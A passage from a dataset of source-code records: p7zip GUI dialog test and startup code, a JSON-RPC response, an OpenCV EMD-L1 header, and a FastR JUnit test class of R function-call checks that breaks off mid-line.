(ret == IDOK) myErrorMsg(wxT(\"CMessagesDialog => IDOK\"));\n\telse if (ret == IDCANCEL) myErrorMsg(wxT(\"CMessagesDialog => IDCANCEL\"));\n\telse myErrorMsg(wxT(\"CMessagesDialog => ?\"));\n\n}\n\nvoid testCOverwriteDialog()\n{\nSYSTEMTIME systemTime;\nGetSystemTime( &systemTime );\n\n\nconst wchar_t *existName = L\"existName\";\nFILETIME data_existTime;\nFILETIME *existTime = &data_existTime ;\nUInt64 data_existSize = 1234;\nUInt64 *existSize = &data_existSize;\nconst wchar_t *newName = L\"newName\";\nFILETIME data_newTime;\nFILETIME *newTime = &data_newTime;\nUInt64 data_newSize = 45678;\nUInt64 *newSize = &data_newSize;\nInt32 data_answer=0;\nInt32 *answer = &data_answer;\n\nSystemTimeToFileTime( &systemTime , &data_existTime);\nSystemTimeToFileTime( &systemTime , &data_newTime);\n\n COverwriteDialog dialog;\n\n dialog.OldFileInfo.Time = *existTime;\n dialog.OldFileInfo.TimeIsDefined = true; // FIXME : look again at the sample !\n\n dialog.OldFileInfo.SizeIsDefined = (existSize != NULL);\n if (dialog.OldFileInfo.SizeIsDefined)\n dialog.OldFileInfo.Size = *existSize;\n dialog.OldFileInfo.Name = existName;\n\n if (newTime == 0)\n dialog.NewFileInfo.TimeIsDefined = false;\n else\n {\n dialog.NewFileInfo.TimeIsDefined = true;\n dialog.NewFileInfo.Time = *newTime;\n }\n \n dialog.NewFileInfo.SizeIsDefined = (newSize != NULL);\n if (dialog.NewFileInfo.SizeIsDefined)\n dialog.NewFileInfo.Size = *newSize;\n dialog.NewFileInfo.Name = newName;\n \n /*\n NOverwriteDialog::NResult::EEnum writeAnswer = \n NOverwriteDialog::Execute(oldFileInfo, newFileInfo);\n */\n INT_PTR writeAnswer = dialog.Create(NULL); // ParentWindow doesn't work with 7z\n \n switch(writeAnswer)\n {\n case IDCANCEL: myErrorMsg(wxT(\"COverwriteDialog => IDCANCEL\")); break;\n case IDNO: myErrorMsg(wxT(\"COverwriteDialog => IDNO\")); break;\n case IDC_BUTTON_OVERWRITE_NO_TO_ALL: myErrorMsg(wxT(\"COverwriteDialog => IDC_BUTTON_OVERWRITE_NO_TO_ALL\")); break;\n case IDC_BUTTON_OVERWRITE_YES_TO_ALL:myErrorMsg(wxT(\"COverwriteDialog => IDC_BUTTON_OVERWRITE_YES_TO_ALL\")); break;\n case IDC_BUTTON_OVERWRITE_AUTO_RENAME:myErrorMsg(wxT(\"COverwriteDialog => IDC_BUTTON_OVERWRITE_AUTO_RENAME\")); break;\n case IDYES: myErrorMsg(wxT(\"COverwriteDialog => IDYES\")); break;\n default: myErrorMsg(wxT(\"COverwriteDialog => default\")); break;\n }\n}\n\nvoid testCPasswordDialog()\n{\n CPasswordDialog dialog;\n\n\tint ret = dialog.Create(0);\n\tif (ret == IDOK) {\n \t\tUString Password = dialog.Password;\n\t\tUString msg = wxT(\"CPasswordDialog => IDOK password=\\\"\");\n\t\tmsg += Password;\n\t\tmsg += wxT(\"\\\"\");\n\t\tmyErrorMsg(msg);\n\t}\n\telse if (ret == IDCANCEL) myErrorMsg(wxT(\"CPasswordDialog => IDCANCEL\"));\n\telse myErrorMsg(wxT(\"CPasswordDialog => ?\"));\n\n}\n\nstruct CThreadProgressDialog\n{\n CProgressDialog * ProgressDialog;\n static THREAD_FUNC_DECL MyThreadFunction(void *param)\n {\n ((CThreadProgressDialog *)param)->Result = ((CThreadProgressDialog *)param)->Process();\n return 0;\n }\n HRESULT Result;\n HRESULT Process()\n {\n\tSleep(1000);\n\tint total = 1000;\n\n\tProgressDialog->ProgressSynch.SetTitleFileName(L\"SetTitleFileName\");\n\tProgressDialog->ProgressSynch.SetNumFilesTotal(100);\n\tProgressDialog->ProgressSynch.SetNumFilesCur(1);\n\tProgressDialog->ProgressSynch.SetProgress(total, 0);\n\t// ProgressDialog.ProgressSynch.SetRatioInfo(inSize, outSize);\n\t// ProgressDialog.ProgressSynch.SetCurrentFileName(name);\n\n\tProgressDialog->ProgressSynch.SetPos(total/10);\n\tProgressDialog->ProgressSynch.SetCurrentFileName(L\"File1\");\n\tSleep(1000);\n\tProgressDialog->ProgressSynch.SetPos(total/2);\n\tProgressDialog->ProgressSynch.SetCurrentFileName(L\"File2\");\n\tSleep(1000);\n\tProgressDialog->ProgressSynch.SetPos(total);\n\tProgressDialog->ProgressSynch.SetCurrentFileName(L\"File3\");\n\tSleep(1000);\n\tProgressDialog->MyClose();\n\treturn 0;\n }\n};\n\nvoid testCProgressDialog()\n{\n CProgressDialog ProgressDialog;\n\n CThreadProgressDialog benchmarker;\n benchmarker.ProgressDialog = &ProgressDialog;\n NWindows::CThread thread;\n thread.Create(CThreadProgressDialog::MyThreadFunction, &benchmarker);\n\n // void StartProgressDialog(const UString &title)\n int ret = ProgressDialog.Create(L\"testCProgressDialog\", 0);\n\n\tif (ret == IDOK) myErrorMsg(wxT(\"CProgressDialog => IDOK\"));\n\telse if (ret == IDCANCEL) myErrorMsg(wxT(\"CProgressDialog => IDCANCEL\"));\n\telse myErrorMsg(wxT(\"CProgressDialog => ?\"));\n\n}\n\nvoid testDialog(int num)\n{\n\tNWindows::NControl::CModalDialog dialog;\n\n\tprintf(\"Generic Dialog(%d)\\n\",num);\n\tint ret = dialog.Create(num, 0);\n\tif (ret == IDOK) myErrorMsg(wxT(\"Generic Dialog => IDOK\"));\n\telse if (ret == IDCANCEL) myErrorMsg(wxT(\"Generic Dialog => IDCANCEL\"));\n\telse myErrorMsg(wxT(\"Generic Dialog => ?\"));\n}\n\nvoid testMessageBox()\n{\n\tint ret = MessageBoxW(0, L\"test yes/no/cancel\", \n L\"7-Zip\", MB_YESNOCANCEL | MB_ICONQUESTION | MB_TASKMODAL);\n\tif (ret == IDYES) myErrorMsg(wxT(\"MessageBoxW => IDYES\"));\n\telse if (ret == IDNO) myErrorMsg(wxT(\"MessageBoxW => IDNO\"));\n\telse if (ret == IDCANCEL) myErrorMsg(wxT(\"MessageBoxW => IDCANCEL\"));\n\telse myErrorMsg(wxT(\"MessageBoxW => ?\"));\n}\n\nstatic void testRegistry()\n{\n\tSaveRegLang(L\"fr\");\n\n\tUString langFile;\n\tReadRegLang(langFile);\n\n\tprintf(\"testRegistry : -%ls-\\n\",(const wchar_t *)langFile);\n}\n\n\nint Main2(int argc,TCHAR **argv);\n\nint Main3(int argc,wxChar **argv)\n{\n\ttestRegistry();\n\n\tint num = -1;\n\n\tif (argc >=2 )\n\t{\n\t\tnum = argv[1][0] - L'0';\n\t}\n\tprintf(\"num=%d\\n\",num);\n\n\n\tswitch(num)\n\t{\n\t\tcase 0:\n\t\t{\n\t\t\tTCHAR **argv2 = (TCHAR **)calloc(argc,sizeof(*argv));\n\n\t\t\targv2[0] = argv[0];\n\t\t\tfor(int i = 2; i < argc; i++) argv2[i-1] = argv[i];\n\n\t\t\treturn Main2(argc-1,argv2);\n\t\t}\n\t// TODO Benchmark\n\t// TODO CCompressDialog\n\t// TODO CExtractDialog ?\n\t\tcase 1 : testCMessagesDialog(); break;\n\t\tcase 2 : testCOverwriteDialog(); break;\n\t \tcase 3 : testCPasswordDialog(); break;\n\t\tcase 4 : testCProgressDialog(); break;\n\t\tcase 5 : testMessageBox(); break;\n\t\tcase 9 : \n\t\t\tif (argc >= 3)\n\t\t\t{\n\t\t\t\tAString str = GetAnsiString(argv[2]);\n\t\t\t\tint num = atoi((const char*)str);\n\t\t\t\ttestDialog(num);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tprintf(\"usage : 7zG 9 \\n\");\n\t\t\t}\n\t\t \tbreak;\n\t\tdefault :\n\t\t\tprintf(\"usage : 7zG number\\n\");\n\n\t};\n\n\treturn 0;\n}\n\n#endif // ACTIVATE_DIALOG_TESTS\n\nstatic const TCHAR *kCUBasePath = TEXT(\"Software/7-ZIP\");\nstatic const WCHAR *kLangValueName = L\"Lang\";\n\nvoid SaveRegLang(const UString &langFile)\n{\n CKey key;\n key.Create(HKEY_CURRENT_USER, kCUBasePath);\n key.SetValue(kLangValueName, langFile);\n}\n\nvoid ReadRegLang(UString &langFile)\n{\n langFile.Empty();\n CKey key;\n if (key.Open(HKEY_CURRENT_USER, kCUBasePath, KEY_READ) == ERROR_SUCCESS)\n key.QueryValue(kLangValueName, langFile);\n}\n\n\n//////////////////////////////////\n\n#define NEED_NAME_WINDOWS_TO_UNIX\n#include \"myPrivate.h\" // global_use_utf16_conversion\n\nvoid mySplitCommandLineW(int numArguments, TCHAR **arguments,UStringVector &parts) {\n\n parts.Clear();\n for(int ind=0;ind < numArguments; ind++) {\n UString tmp = arguments[ind];\n // tmp.Trim(); \" \" is a valid filename ...\n if (!tmp.IsEmpty()) {\n parts.Add(tmp);\n// DEBUG printf(\"ARG %d : '%ls'\\n\",ind,(const wchar_t *)tmp);\n }\n }\n}\n\n// ----------------------------------------------------------------------------\n// private classes\n// ----------------------------------------------------------------------------\n\n// Define a new frame type\nclass MyFrame: public wxFrame\n{\npublic:\n // ctor\n MyFrame(wxFrame *frame, const wxString& title, int x, int y, int w, int h);\n // virtual ~MyFrame();\n\n // operations\n void WriteText(const wxString& text) { m_txtctrl->WriteText(text); }\n \nprotected:\n // callbacks\n void OnWorkerEvent(wxCommandEvent& event);\nprivate:\n // just some place to put our messages in\n wxTextCtrl *m_txtctrl;\n DECLARE_EVENT_TABLE()\n};\n\nenum {\n WORKER_EVENT=100 // this one gets sent from the worker thread\n};\n \nBEGIN_EVENT_TABLE(MyFrame, wxFrame)\n EVT_MENU(WORKER_EVENT, MyFrame::OnWorkerEvent)\n // EVT_IDLE(MyFrame::OnIdle)\nEND_EVENT_TABLE()\n\n// My frame constructor\nMyFrame::MyFrame(wxFrame *frame, const wxString& title,\n int x, int y, int w, int h)\n : wxFrame(frame, wxID_ANY, title, wxPoint(x, y), wxSize(w, h))\n{\n\tthis->SetIcon(wxICON(p7zip_32));\n \n#if wxUSE_STATUSBAR\n CreateStatusBar(2);\n#endif // wxUSE_STATUSBAR\n\n m_txtctrl = new wxTextCtrl(this, wxID_ANY, _T(\"\"), wxPoint(0, 0), wxSize(0, 0), wxTE_MULTILINE | wxTE_READONLY);\n}\n\nvoid myCreateHandle(int n);\nwxWindow * g_window=0;\n\nvoid MyFrame::OnWorkerEvent(wxCommandEvent& event)\n{\n\tint n = event.GetInt();\n\tmyCreateHandle(n);\n}\n\n\n// Define a new application type, each program should derive a class from wxApp\nclass MyApp : public wxApp\n{\npublic:\n // override base class virtuals\n // ----------------------------\n\n // this one is called on application startup and is a good place for the app\n // initialization (doing it here and not in the ctor allows to have an error\n // return: if OnInit() returns false, the application terminates)\n virtual bool OnInit();\n};\n\n// Create a new application object: this macro will allow wxWidgets to create\n// the application object during program execution (it's better than using a\n// static object for many reasons) and also implements the accessor function\n// wxGetApp() which will return the reference of the right type (i.e. MyApp and\n// not wxApp)\nIMPLEMENT_APP(MyApp)\n\ntime_t g_T0 = 0;\nclass MyThread : public wxThread\n{\n\tint _argc;\n\tTCHAR **_argv;\npublic:\n\tMyThread(int argc,TCHAR **argv): wxThread(),_argc(argc), _argv(argv) {}\n\n\t// thread execution starts here\n\tvirtual void *Entry()\n\t{\n#ifdef ACTIVATE_DIALOG_TESTS\n\t\tint ret = Main3(_argc,_argv);\n#else\n\t\tint ret = Main1(_argc,_argv);\n#endif\n\t\texit(ret);\n\t}\n};\n\n// 'Main program' equivalent: the program execution \"starts\" here\nbool MyApp::OnInit()\n{\n // don't parse the command-line options !\n // : if ( !wxApp::OnInit() ) return false;\n\n { // define P7ZIP_HOME_DIR\n extern void my_windows_split_path(const AString &p_path, AString &dir , AString &base);\n static char p7zip_home_dir[MAX_PATH];\n\n UString fullPath;\n NDirectory::MyGetFullPathName(wxApp::argv[0], fullPath);\n AString afullPath = GetAnsiString(fullPath);\n\n AString dir,name;\n\n my_windows_split_path(afullPath,dir,name);\n\n const char *dir2 = nameWindowToUnix((const char *)dir);\n snprintf(p7zip_home_dir,sizeof(p7zip_home_dir),\"P7ZIP_HOME_DIR=%s/\",dir2);\n p7zip_home_dir[sizeof(p7zip_home_dir)-1] = 0;\n putenv(p7zip_home_dir);\n // DEBUG printf(\"putenv(%s)\\n\",p7zip_home_dir);\n }\n global_use_utf16_conversion = 1; // UNICODE !\n\n g_T0 = time(0);\n // DEBUG printf(\"MAIN Thread : 0x%lx\\n\",wxThread::GetCurrentId());\n\n // Create the main frame window\n MyFrame *frame = new MyFrame((wxFrame *)NULL, _T(\"7-zip Main Window\"), 50, 50, 450, 340);\n // Don't Show the frame !\n // frame->Show(true);\n\n SetTopWindow(frame);\n\n g_window = frame;\n\n MyThread *thread = new MyThread(wxApp::argc,wxApp::argv);\n thread->Create(); // != wxTHREAD_NO_ERROR\n thread->Run();\n\n // success: wxApp::OnRun() will be called which will enter the main message\n // loop and the application will run. If we returned false here, the\n // application would exit immediately.\n return true;\n}\n\nDWORD WINAPI GetTickCount(VOID) {\n\tstatic wxStopWatch sw;\n\treturn sw.Time();\n}\n\n//////////////////////////////////////////\n\n#include \"resource.h\"\n#include \"ExtractRes.h\"\n\nstatic CStringTable g_stringTable[] =\n{\n /* resource.rc */\t \n /***************/\n\t{ IDS_OPEN_TYPE_ALL_FILES, L\"All Files\" },\n\t{ IDS_METHOD_STORE, L\"Store\" },\n\t{ IDS_METHOD_NORMAL, L\"Normal\" },\n\t{ IDS_METHOD_MAXIMUM, L\"Maximum\" },\n\t{ IDS_METHOD_FAST, L\"Fast\" },\n\t{ IDS_METHOD_FASTEST, L\"Fastest\" },\n\t{ IDS_METHOD_ULTRA, L\"Ultra\" },\n\t{ IDS_COMPRESS_NON_SOLID, L\"Non-solid\" },\n\t{ IDS_COMPRESS_SOLID, L\"Solid\" },\n\n\t{ IDS_COMPRESS_UPDATE_MODE_ADD, L\"Add and replace files\" },\n\t{ IDS_COMPRESS_UPDATE_MODE_UPDATE, L\"Update and add files\" },\n\t{ IDS_COMPRESS_UPDATE_MODE_FRESH, L\"Freshen existing files\" },\n\t{ IDS_COMPRESS_UPDATE_MODE_SYNCHRONIZE, L\"Synchronize files\" },\n\t{ IDS_COMPRESS_SET_ARCHIVE_DIALOG_TITLE, L\"Browse\" },\n\t{ IDS_COMPRESS_INCORRECT_VOLUME_SIZE, L\"Incorrect volume size\" },\n\t{ IDS_COMPRESS_SPLIT_CONFIRM_MESSAGE, L\"Specified volume size: {0} bytes.\\nAre you sure you want to split archive into such volumes?\" },\n\n\t{ IDS_PASSWORD_USE_ASCII, L\"Use only English letters, numbers and special characters (!, #, $, ...) for password.\" },\n\t{ IDS_PASSWORD_PASSWORDS_DO_NOT_MATCH, L\"Passwords do not match\" },\n\t{ IDS_PASSWORD_IS_TOO_LONG, L\"Password is too long\" },\n\n\t{ IDS_PROGRESS_COMPRESSING, L\"Compressing\" },\n\t{ IDS_PROGRESS_TESTING, L\"Testing\" },\n\t{ IDS_MESSAGE_NO_ERRORS, L\"There are no errors\" },\n\t{ IDS_FILES_COLON, L\"Files:\" },\n\t{ IDS_FOLDERS_COLON, L\"Folders:\" },\n\t{ IDS_SIZE_COLON, L\"Size:\" },\n\t{ IDS_COMPRESSED_COLON, L\"Compressed size:\" },\n\t{ IDS_ARCHIVES_COLON, L\"Archives:\" },\n\n /* Extract.rc */\t \n /**************/\n\t{ IDS_CANNOT_CREATE_FOLDER , L\"Cannot create folder '{0}'\"},\n\t{ IDS_OPEN_IS_NOT_SUPORTED_ARCHIVE, L\"File is not supported archive.\"},\n\n\t{ IDS_MESSAGES_DIALOG_EXTRACT_MESSAGE_CRC , L\"CRC failed in '{0}'. File is broken.\"},\n\t{ IDS_MESSAGES_DIALOG_EXTRACT_MESSAGE_DATA_ERROR , L\"Data error in '{0}'. File is broken\"},\n\t{ IDS_MESSAGES_DIALOG_EXTRACT_MESSAGE_UNSUPPORTED_METHOD , L\"Unsupported compression method for '{0}'.\"},\n\t{ IDS_MESSAGES_DIALOG_EXTRACT_MESSAGE_CRC_ENCRYPTED , L\"CRC failed in encrypted file '{0}'. Wrong password?\"},\n\t{ IDS_MESSAGES_DIALOG_EXTRACT_MESSAGE_DATA_ERROR_ENCRYPTED , L\"Data error in encrypted file '{0}'. Wrong password?\"},\n\n\t{ IDS_EXTRACT_SET_FOLDER , L\"Specify a location for extracted files.\"},\n\t{ IDS_MESSAGES_DIALOG_EXTRACT_MESSAGE_CANNOT_OPEN_FILE, L\"Can not open output file '{0}'.\"},\n\t{ IDS_PROGRESS_EXTRACTING, L\"Extracting\" },\n\n\t{ IDS_CANT_OPEN_ARCHIVE , L\"Can not open file '{0}' as archive\"},\n\t{ IDS_CANT_OPEN_ENCRYPTED_ARCHIVE , L\"Can not open encrypted archive '{0}'. Wrong password?\"},\n\n\t{ 0 , 0 }\n};\n\nREGISTER_STRINGTABLE(g_stringTable)\n\n"} -{"text": "{\n \"jsonrpc\": \"2.0\",\n \"id\": 107,\n \"result\": \"0x1a12ce71938f434dbaa\"\n}"} -{"text": "/*M///////////////////////////////////////////////////////////////////////////////////////\n//\n// IMPORTANT: READ BEFORE DOWNLOADING, COPYING, INSTALLING OR USING.\n//\n// By downloading, copying, installing or using the software you agree to this license.\n// If you do not agree to this license, do not download, install,\n// copy or use the software.\n//\n//\n// License Agreement\n// For Open Source Computer Vision Library\n//\n// Copyright (C) 2000-2008, Intel Corporation, all rights reserved.\n// Copyright (C) 2009-2012, Willow Garage Inc., all rights reserved.\n// Third party copyrights are property of their respective owners.\n//\n// Redistribution and use in source and binary forms, with or without modification,\n// are permitted provided that the following conditions are met:\n//\n// * Redistribution's of source code must retain the above copyright notice,\n// this list of conditions and the following disclaimer.\n//\n// * Redistribution's in binary form must reproduce the above copyright notice,\n// this list of conditions and the following disclaimer in the documentation\n// and/or other materials provided with the distribution.\n//\n// * The name of the copyright holders may not be used to endorse or promote products\n// derived from this software without specific prior written permission.\n//\n// This software is provided by the copyright holders and contributors \"as is\" and\n// any express or implied warranties, including, but not limited to, the implied\n// warranties of merchantability and fitness for a particular purpose are disclaimed.\n// In no event shall the Intel Corporation or contributors be liable for any direct,\n// indirect, incidental, special, exemplary, or consequential damages\n// (including, but not limited to, procurement of substitute goods or services;\n// loss of use, data, or profits; or business interruption) however caused\n// and on any theory of liability, whether in contract, strict liability,\n// or tort (including negligence or otherwise) arising in any way out of\n// the use of this software, even if advised of the possibility of such damage.\n//\n//M*/\n\n#ifndef OPENCV_EMD_L1_HPP\n#define OPENCV_EMD_L1_HPP\n\n#include \"opencv2/core.hpp\"\n\nnamespace cv\n{\n/****************************************************************************************\\\n* EMDL1 Function *\n\\****************************************************************************************/\n\n//! @addtogroup shape\n//! @{\n\n/** @brief Computes the \"minimal work\" distance between two weighted point configurations base on the papers\n\"EMD-L1: An efficient and Robust Algorithm for comparing histogram-based descriptors\", by Haibin\nLing and Kazunori Okuda; and \"The Earth Mover's Distance is the Mallows Distance: Some Insights from\nStatistics\", by Elizaveta Levina and Peter Bickel.\n\n@param signature1 First signature, a single column floating-point matrix. Each row is the value of\nthe histogram in each bin.\n@param signature2 Second signature of the same format and size as signature1.\n */\nCV_EXPORTS float EMDL1(InputArray signature1, InputArray signature2);\n\n//! @}\n\n}//namespace cv\n\n#endif\n"} -{"text": "/*\n * This program is free software; you can redistribute it and/or modify it\n * under the terms of the GNU General Public License as published by the Free\n * Software Foundation; either version 2 of the License, or (at your option)\n * any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT\n * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for\n * more details.\n *\n * You should have received a copy of the GNU General Public License along with\n * this program; if not, write to the Free Software Foundation, Inc., 51\n * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n *\n * Copyright (c) 2012-2014, Purdue University\n * Copyright (c) 2013, 2019, Oracle and/or its affiliates\n *\n * All rights reserved.\n */\npackage com.oracle.truffle.r.test.functions;\n\nimport org.junit.Test;\n\nimport com.oracle.truffle.r.test.TestBase;\n\npublic class TestFunctions extends TestBase {\n\n @Test\n public void testFunctionLookup() {\n assertEval(Output.IgnoreErrorContext, \"{ f<-1; f() }\");\n assertEval(\"{ abs }\");\n assertEval(Output.IgnoreErrorContext, \"{ foo() }\");\n assertEval(Output.IgnoreErrorContext, \"{ 'foo'() }\");\n // these errors will be fixed by proper handling of \"(\"\n assertEval(\"{ (foo)() }\");\n assertEval(\"{ ('foo')() }\");\n assertEval(\"{ foo <- function() 1; foo() }\");\n assertEval(\"{ foo <- function() 1; 'foo'() }\");\n assertEval(\"{ foo <- function() 1; `foo`() }\");\n assertEval(\"{ foo <- function() 1; (foo)() }\");\n assertEval(\"{ foo <- function() 1; ('foo')() }\");\n assertEval(\"{ foo <- function() 1; (`foo`)() }\");\n assertEval(\"{ sum <- 1; sum(1,2) }\");\n assertEval(\"{ sum <- 1; `sum`(1,2) }\");\n assertEval(\"{ sum <- 1; 'sum'(1,2) }\");\n assertEval(\"{ sum <- 1; (sum)(1,2) }\");\n assertEval(\"{ sum <- 1; ('sum')(1,2) }\");\n assertEval(\"{ sum <- 1; (`sum`)(1,2) }\");\n }\n\n @Test\n public void testDefinitionsWorking() {\n assertEval(\"{ x<-function(z){z} ; x(TRUE) }\");\n assertEval(\"{ x<-1 ; f<-function(){x} ; x<-2 ; f() }\");\n assertEval(\"{ x<-1 ; f<-function(x){x} ; f(TRUE) }\");\n assertEval(\"{ x<-1 ; f<-function(x){a<-1;b<-2;x} ; f(TRUE) }\");\n assertEval(\"{ f<-function(x){g<-function(x) {x} ; g(x) } ; f(TRUE) }\");\n assertEval(\"{ x<-1 ; f<-function(x){a<-1; b<-2; g<-function(x) {b<-3;x} ; g(b) } ; f(TRUE) }\");\n assertEval(\"{ x<-1 ; f<-function(z) { if (z) { x<-2 } ; x } ; x<-3 ; f(FALSE) }\");\n assertEval(\"{ f<-function() {z} ; z<-2 ; f() }\");\n assertEval(\"{ x<-1 ; g<-function() { x<-12 ; f<-function(z) { if (z) { x<-2 } ; x } ; x<-3 ; f(FALSE) } ; g() }\");\n assertEval(\"{ x<-function() { z<-211 ; function(a) { if (a) { z } else { 200 } } } ; f<-x() ; z<-1000 ; f(TRUE) }\");\n }\n\n @Test\n public void testInvocation() {\n assertEval(\"{ g <- function(...) { max(...) } ; g(1,2) }\");\n assertEval(\"{ f <- function(a, ...) { list(...) } ; f(1) }\");\n\n assertEval(\"{ rnorm(n = 1, n = 2) }\");\n assertEval(\"{ rnorm(s = 1, s = 1) }\");\n assertEval(\"{ matrix(1:4, n = 2) }\");\n\n assertEval(\"{ matrix(da=1:3,1) }\");\n\n assertEval(\"{ f <- function(...) { l <- list(...) ; l[[1]] <- 10; ..1 } ; f(11,12,13) }\");\n assertEval(\"{ g <- function(...) { length(list(...)) } ; f <- function(...) { g(..., ...) } ; f(z = 1, g = 31) }\");\n assertEval(\"{ g <- function(...) { `-`(...) } ; g(1,2) }\");\n assertEval(\"{ f <- function(...) { list(a=1,...) } ; f(b=2,3) }\");\n assertEval(\"{ f <- function(...) { substitute(...) } ; f(x + z) } \");\n assertEval(\"{ p <- function(prefix, ...) { cat(prefix, ..., \\\"\\\\n\\\") } ; p(\\\"INFO\\\", \\\"msg:\\\", \\\"Hello\\\", 42) }\");\n\n assertEval(\"{ f <- function(...) { g <- function() { list(...)$a } ; g() } ; f(a=1) }\");\n assertEval(\"{ f <- function(...) { args <- list(...) ; args$name } ; f(name = 42) }\");\n\n assertEval(\"{ matrix(x=1) }\");\n assertEval(\"{ set.seed(4357); round( rnorm(1,), digits = 5 ) }\");\n // FIXME UnsupportedSpecializationException: Unexpected values provided for\n // PrecedenceNodeGen@7c078bf0: [empty, false], [REmpty,Boolean]\n assertEval(Ignored.ImplementationError, \"{ max(1,2,) }\");\n assertEval(\"{ f <- function(a) a; f(cat('Hello\\\\n')) }\");\n }\n\n @Test\n public void testReturn() {\n assertEval(\"{ f<-function() { return() } ; f() }\");\n assertEval(\"{ f<-function() { return(2) ; 3 } ; f() }\");\n assertEval(\"{ f<-function() { return(invisible(2)) } ; f() }\");\n }\n\n @Test\n public void testDefinitionsNamedAndDefault() {\n assertEval(\"{ f<-function(a=1,b=2,c=3) {TRUE} ; f(,,) }\");\n\n assertEval(\"{ f<-function(x=2) {x} ; f() } \");\n assertEval(\"{ f<-function(a,b,c=2,d) {c} ; f(1,2,c=4,d=4) }\");\n assertEval(\"{ f<-function(a,b,c=2,d) {c} ; f(1,2,d=8,c=1) }\");\n assertEval(\"{ f<-function(a,b,c=2,d) {c} ; f(1,d=8,2,c=1) }\");\n assertEval(\"{ f<-function(a,b,c=2,d) {c} ; f(d=8,1,2,c=1) }\");\n assertEval(\"{ f<-function(a,b,c=2,d) {c} ; f(d=8,c=1,2,3) }\");\n assertEval(\"{ f<-function(a=10,b,c=20,d=20) {c} ; f(4,3,5,1) }\");\n\n assertEval(\"{ x<-1 ; z<-TRUE ; f<-function(y=x,a=z,b) { if (z) {y} else {z}} ; f(b=2) }\");\n assertEval(\"{ x<-1 ; z<-TRUE ; f<-function(y=x,a=z,b) { if (z) {y} else {z}} ; f(2) }\");\n assertEval(\"{ x<-1 ; f<-function(x=x) { x } ; f(x=x) }\");\n assertEval(\"{ f<-function(z, x=if (z) 2 else 3) {x} ; f(FALSE) }\");\n\n assertEval(\"{f<-function(a,b,c=2,d) {c} ; g <- function() f(d=8,c=1,2,3) ; g() ; g() }\");\n\n assertEval(\"{ x <- function(y) { sum(y) } ; f <- function() { x <- 1 ; x(1:10) } ; f() }\");\n assertEval(\"{ f <- sum ; f(1:10) }\");\n }\n\n @Test\n public void testDefinitions() {\n assertEval(\"{ \\\"%plus%\\\" <- function(a,b) a+b ; 3 %plus% 4 }\");\n assertEval(\"{ \\\"-\\\"(1) }\");\n assertEval(\"x<-function(){1};x\");\n\n // replacement function\n assertEval(\"{ 'my<-' <- function(x, value) { attr(x, \\\"myattr\\\") <- value ; x } ; z <- 1; my(z) <- \\\"hello\\\" ; z }\");\n assertEval(\"{ x<-matrix(1:4, ncol=2); y<-list(x=c(\\\"a\\\", \\\"b\\\"), y=c(\\\"c\\\", \\\"d\\\")); dimnames(x)<-y; names(dimnames(x))<-c(\\\"m\\\", \\\"n\\\"); dimnames(x) }\");\n\n assertEval(\"{ x <- function(a,b) { a^b } ; f <- function() { x <- \\\"sum\\\" ; sapply(1, x, 2) } ; f() }\");\n assertEval(\"{ x <- function(a,b) { a^b } ; g <- function() { x <- \\\"sum\\\" ; f <- function() { sapply(1, x, 2) } ; f() } ; g() }\");\n assertEval(\"{ foo <- function (x) { x } ; foo() }\");\n\n assertEval(\"{ x <- function(a,b) { a^b } ; dummy <- sum ; f <- function() { x <- \\\"dummy\\\" ; sapply(1, x, 2) } ; f() }\");\n assertEval(\"{ x <- function(a,b) { a^b } ; dummy <- sum ; f <- function() { x <- \\\"dummy\\\" ; dummy <- 200 ; sapply(1, x, 2) } ; f() }\");\n\n assertEval(\"{ foo <- function (x) { x } ; foo(1,2,3) }\");\n\n assertEval(\"{ x <- function(a,b) { a^b } ; f <- function() { x <- 211 ; sapply(1, x, 2) } ; f() }\");\n\n // weird syntax, that doesn't work, but should not cause errors\n assertEval(\"{ foo <- function(x, ...=NULL) x; list(foo(42), foo(21,33)); }\");\n assertEval(\"{ foo <- function(x, ..) x; list(foo(42), foo(21,33)); }\");\n assertEval(\"{ side <- function(x) { cat('side effect ', x, '\\\\n'); x }; foo <- function(x, ...=side(42)) x; foo(3) }\");\n assertEval(\"{ side <- function(x) { cat('side effect ', x, '\\\\n'); x }; foo <- function(x, ..1=side(42)) x; foo(3) }\");\n\n // the weird parameter is still used in positional arg matching\n assertEval(\"{ foo <- function(x, ..1, y) y; foo(21,33,22); }\");\n }\n\n @Test\n public void testEmptyParamName() {\n assertEval(\"{ f <- function(a, ...) a; f(''=123) }\");\n assertEval(Ignored.ParserError, \"{ function(''=123) 4 }\");\n }\n\n @Test\n public void testErrors() {\n assertEval(\"{ x<-function(){1} ; x(y=sum(1:10)) }\");\n assertEval(\"{ x<-function(){1} ; x(1) }\");\n assertEval(\"{ f <- function(x) { x } ; f() }\");\n assertEval(\"{ x<-function(y,b){1} ; x(y=1,y=3,4) }\");\n assertEval(\"{ x<-function(foo,bar){foo*bar} ; x(fo=10,f=1,2) }\");\n assertEval(\"{ x<-function(){1} ; x(y=1) }\");\n assertEval(\"{ f <- function(a,b,c,d) { a + b } ; f(1,x=1,2,3,4) }\");\n\n // FIXME GnuR's error message more precise\n // Expected output: Error in x(y = 1, 2, 3, z = 5) : unused arguments (3, z = 5)\n // FastR output: Error in x(y = 1, 2, 3, z = 5) : unused argument (z = 5)\n assertEval(Ignored.ImplementationError, \"{ x<-function(y, b){1} ; x(y=1, 2, 3, z = 5) }\");\n assertEval(\"{ x<-function(a){1} ; x(1,) }\");\n\n // FIXME error message missing\n // Expected output: Error: repeated formal argument 'a' on line 1\n // FastR output:\n assertEval(Ignored.ImplementationError, Output.IgnoreErrorContext, \"{ f <- function(a,a) {1} }\");\n }\n\n @Test\n public void testBinding() {\n assertEval(\"{ myapp <- function(f, x, y) { f(x,y) } ; myapp(function(x,y) { x + y }, 1, 2) ; myapp(sum, 1, 2) }\");\n assertEval(\"{ myapp <- function(f, x, y) { f(x,y) } ; myapp(f = function(x,y) { x + y }, y = 1, x = 2) ; myapp(f = sum, x = 1, y = 2) }\");\n assertEval(\"{ myapp <- function(f, x, y) { f(x,y) } ; myapp(f = function(x,y) { x + y }, y = 1, x = 2) ; myapp(f = sum, x = 1, y = 2) ; myapp(f = c, y = 10, x = 3) }\");\n assertEval(\"{ myapp <- function(f, x, y) { f(x,y) } ; myapp(f = function(x,y) 